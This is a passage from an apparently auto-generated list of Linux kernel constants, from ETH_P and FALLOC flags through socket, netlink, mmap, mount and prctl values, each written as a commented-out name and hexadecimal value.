-- ETH_P_TRAILER = 0x1c
-- ETH_P_TR_802_2 = 0x11
-- ETH_P_TSN = 0x22f0
-- ETH_P_WAN_PPP = 0x7
-- ETH_P_WCCP = 0x883e
-- ETH_P_X25 = 0x805
-- ETH_P_XDSA = 0xf8
-- EXTA = 0xe
-- EXTB = 0xf
-- EXTPROC = 0x10000
-- FALLOC_FL_COLLAPSE_RANGE = 0x8
-- FALLOC_FL_INSERT_RANGE = 0x20
-- FALLOC_FL_KEEP_SIZE = 0x1
-- FALLOC_FL_NO_HIDE_STALE = 0x4
-- FALLOC_FL_PUNCH_HOLE = 0x2
-- FALLOC_FL_UNSHARE_RANGE = 0x40
-- FALLOC_FL_ZERO_RANGE = 0x10
-- FD_CLOEXEC = 0x1
-- FD_SETSIZE = 0x400
-- FF0 = 0x0
-- FF1 = 0x8000
-- FFDLY = 0x8000
-- FLUSHO = 0x2000
-- FS_ENCRYPTION_MODE_AES_256_CBC = 0x3
-- FS_ENCRYPTION_MODE_AES_256_CTS = 0x4
-- FS_ENCRYPTION_MODE_AES_256_GCM = 0x2
-- FS_ENCRYPTION_MODE_AES_256_XTS = 0x1
-- FS_ENCRYPTION_MODE_INVALID = 0x0
-- FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-- FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-- FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-- FS_KEY_DESCRIPTOR_SIZE = 0x8
-- FS_KEY_DESC_PREFIX = "fscrypt:"
-- FS_KEY_DESC_PREFIX_SIZE = 0x8
-- FS_MAX_KEY_SIZE = 0x40
-- FS_POLICY_FLAGS_PAD_16 = 0x2
-- FS_POLICY_FLAGS_PAD_32 = 0x3
-- FS_POLICY_FLAGS_PAD_4 = 0x0
-- FS_POLICY_FLAGS_PAD_8 = 0x1
-- FS_POLICY_FLAGS_PAD_MASK = 0x3
-- FS_POLICY_FLAGS_VALID = 0x3
-- F_DUPFD = 0x0
-- F_DUPFD_CLOEXEC = 0x406
-- F_EXLCK = 0x4
-- F_GETFD = 0x1
-- F_GETFL = 0x3
-- F_GETLEASE = 0x401
-- F_GETLK = 0xe
-- F_GETLK64 = 0xe
-- F_GETOWN = 0x17
-- F_GETOWN_EX = 0x10
-- F_GETPIPE_SZ = 0x408
-- F_GETSIG = 0xb
-- F_LOCK = 0x1
-- F_NOTIFY = 0x402
-- F_OFD_GETLK = 0x24
-- F_OFD_SETLK = 0x25
-- F_OFD_SETLKW = 0x26
-- F_OK = 0x0
-- F_RDLCK = 0x0
-- F_SETFD = 0x2
-- F_SETFL = 0x4
-- F_SETLEASE = 0x400
-- F_SETLK = 0x6
-- F_SETLK64 = 0x6
-- F_SETLKW = 0x7
-- F_SETLKW64 = 0x7
-- F_SETOWN = 0x18
-- F_SETOWN_EX = 0xf
-- F_SETPIPE_SZ = 0x407
-- F_SETSIG = 0xa
-- F_SHLCK = 0x8
-- F_TEST = 0x3
-- F_TLOCK = 0x2
-- F_ULOCK = 0x0
-- F_UNLCK = 0x2
-- F_WRLCK = 0x1
-- GENL_ADMIN_PERM = 0x1
-- GENL_CMD_CAP_DO = 0x2
-- GENL_CMD_CAP_DUMP = 0x4
-- GENL_CMD_CAP_HASPOL = 0x8
-- GENL_HDRLEN = 0x4
-- GENL_ID_CTRL = 0x10
-- GENL_ID_PMCRAID = 0x12
-- GENL_ID_VFS_DQUOT = 0x11
-- GENL_MAX_ID = 0x3ff
-- GENL_MIN_ID = 0x10
-- GENL_NAMSIZ = 0x10
-- GENL_START_ALLOC = 0x13
-- GENL_UNS_ADMIN_PERM = 0x10
-- GRND_NONBLOCK = 0x1
-- GRND_RANDOM = 0x2
-- HUPCL = 0x400
-- IBSHIFT = 0x10
-- ICANON = 0x2
-- ICMPV6_FILTER = 0x1
-- ICRNL = 0x100
-- IEXTEN = 0x100
-- IFA_F_DADFAILED = 0x8
-- IFA_F_DEPRECATED = 0x20
-- IFA_F_HOMEADDRESS = 0x10
-- IFA_F_MANAGETEMPADDR = 0x100
-- IFA_F_MCAUTOJOIN = 0x400
-- IFA_F_NODAD = 0x2
-- IFA_F_NOPREFIXROUTE = 0x200
-- IFA_F_OPTIMISTIC = 0x4
-- IFA_F_PERMANENT = 0x80
-- IFA_F_SECONDARY = 0x1
-- IFA_F_STABLE_PRIVACY = 0x800
-- IFA_F_TEMPORARY = 0x1
-- IFA_F_TENTATIVE = 0x40
-- IFA_MAX = 0x8
-- IFF_ALLMULTI = 0x200
-- IFF_ATTACH_QUEUE = 0x200
-- IFF_AUTOMEDIA = 0x4000
-- IFF_BROADCAST = 0x2
-- IFF_DEBUG = 0x4
-- IFF_DETACH_QUEUE = 0x400
-- IFF_DORMANT = 0x20000
-- IFF_DYNAMIC = 0x8000
-- IFF_ECHO = 0x40000
-- IFF_LOOPBACK = 0x8
-- IFF_LOWER_UP = 0x10000
-- IFF_MASTER = 0x400
-- IFF_MULTICAST = 0x1000
-- IFF_MULTI_QUEUE = 0x100
-- IFF_NOARP = 0x80
-- IFF_NOFILTER = 0x1000
-- IFF_NOTRAILERS = 0x20
-- IFF_NO_PI = 0x1000
-- IFF_ONE_QUEUE = 0x2000
-- IFF_PERSIST = 0x800
-- IFF_POINTOPOINT = 0x10
-- IFF_PORTSEL = 0x2000
-- IFF_PROMISC = 0x100
-- IFF_RUNNING = 0x40
-- IFF_SLAVE = 0x800
-- IFF_TAP = 0x2
-- IFF_TUN = 0x1
-- IFF_TUN_EXCL = 0x8000
-- IFF_UP = 0x1
-- IFF_VNET_HDR = 0x4000
-- IFF_VOLATILE = 0x70c5a
-- IFNAMSIZ = 0x10
-- IGNBRK = 0x1
-- IGNCR = 0x80
-- IGNPAR = 0x4
-- IMAXBEL = 0x2000
-- INLCR = 0x40
-- INPCK = 0x10
-- IN_ACCESS = 0x1
-- IN_ALL_EVENTS = 0xfff
-- IN_ATTRIB = 0x4
-- IN_CLASSA_HOST = 0xffffff
-- IN_CLASSA_MAX = 0x80
-- IN_CLASSA_NET = 0xff000000
-- IN_CLASSA_NSHIFT = 0x18
-- IN_CLASSB_HOST = 0xffff
-- IN_CLASSB_MAX = 0x10000
-- IN_CLASSB_NET = 0xffff0000
-- IN_CLASSB_NSHIFT = 0x10
-- IN_CLASSC_HOST = 0xff
-- IN_CLASSC_NET = 0xffffff00
-- IN_CLASSC_NSHIFT = 0x8
-- IN_CLOEXEC = 0x80000
-- IN_CLOSE = 0x18
-- IN_CLOSE_NOWRITE = 0x10
-- IN_CLOSE_WRITE = 0x8
-- IN_CREATE = 0x100
-- IN_DELETE = 0x200
-- IN_DELETE_SELF = 0x400
-- IN_DONT_FOLLOW = 0x2000000
-- IN_EXCL_UNLINK = 0x4000000
-- IN_IGNORED = 0x8000
-- IN_ISDIR = 0x40000000
-- IN_LOOPBACKNET = 0x7f
-- IN_MASK_ADD = 0x20000000
-- IN_MODIFY = 0x2
-- IN_MOVE = 0xc0
-- IN_MOVED_FROM = 0x40
-- IN_MOVED_TO = 0x80
-- IN_MOVE_SELF = 0x800
-- IN_NONBLOCK = 0x80
-- IN_ONESHOT = 0x80000000
-- IN_ONLYDIR = 0x1000000
-- IN_OPEN = 0x20
-- IN_Q_OVERFLOW = 0x4000
-- IN_UNMOUNT = 0x2000
-- IPPROTO_AH = 0x33
-- IPPROTO_BEETPH = 0x5e
-- IPPROTO_COMP = 0x6c
-- IPPROTO_DCCP = 0x21
-- IPPROTO_DSTOPTS = 0x3c
-- IPPROTO_EGP = 0x8
-- IPPROTO_ENCAP = 0x62
-- IPPROTO_ESP = 0x32
-- IPPROTO_FRAGMENT = 0x2c
-- IPPROTO_GRE = 0x2f
-- IPPROTO_HOPOPTS = 0x0
-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x1
-- ISTRIP = 0x20
-- IUCLC = 0x200
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x1000
-- IXON = 0x400
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_ANON = 0x800
-- MAP_ANONYMOUS = 0x800
-- MAP_DENYWRITE = 0x2000
-- MAP_EXECUTABLE = 0x4000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x1000
-- MAP_HUGETLB = 0x80000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x8000
-- MAP_NONBLOCK = 0x20000
-- MAP_NORESERVE = 0x400
-- MAP_POPULATE = 0x10000
-- MAP_PRIVATE = 0x2
-- MAP_RENAME = 0x800
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x40000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x1
-- MCL_FUTURE = 0x2
-- MCL_ONFAULT = 0x4
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x100
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x2
-- ONLCR = 0x4
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x8
-- O_ASYNC = 0x1000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x100
-- O_DIRECT = 0x8000
-- O_DIRECTORY = 0x10000
-- O_DSYNC = 0x10
-- O_EXCL = 0x400
-- O_FSYNC = 0x4010
-- O_LARGEFILE = 0x0
-- O_NDELAY = 0x80
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x800
-- O_NOFOLLOW = 0x20000
-- O_NONBLOCK = 0x80
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x4010
-- O_SYNC = 0x4010
-- O_TMPFILE = 0x410000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x100
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x200
-- PENDIN = 0x4000
-- PERF_EVENT_IOC_DISABLE = 0x20002401
-- PERF_EVENT_IOC_ENABLE = 0x20002400
-- PERF_EVENT_IOC_ID = 0x40082407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-- PERF_EVENT_IOC_PERIOD = 0x80082404
-- PERF_EVENT_IOC_REFRESH = 0x20002402
-- PERF_EVENT_IOC_RESET = 0x20002403
-- PERF_EVENT_IOC_SET_BPF = 0x80042408
-- PERF_EVENT_IOC_SET_FILTER = 0x80082406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = -0x1
-- PR_SET_SECCOMP = 0x16
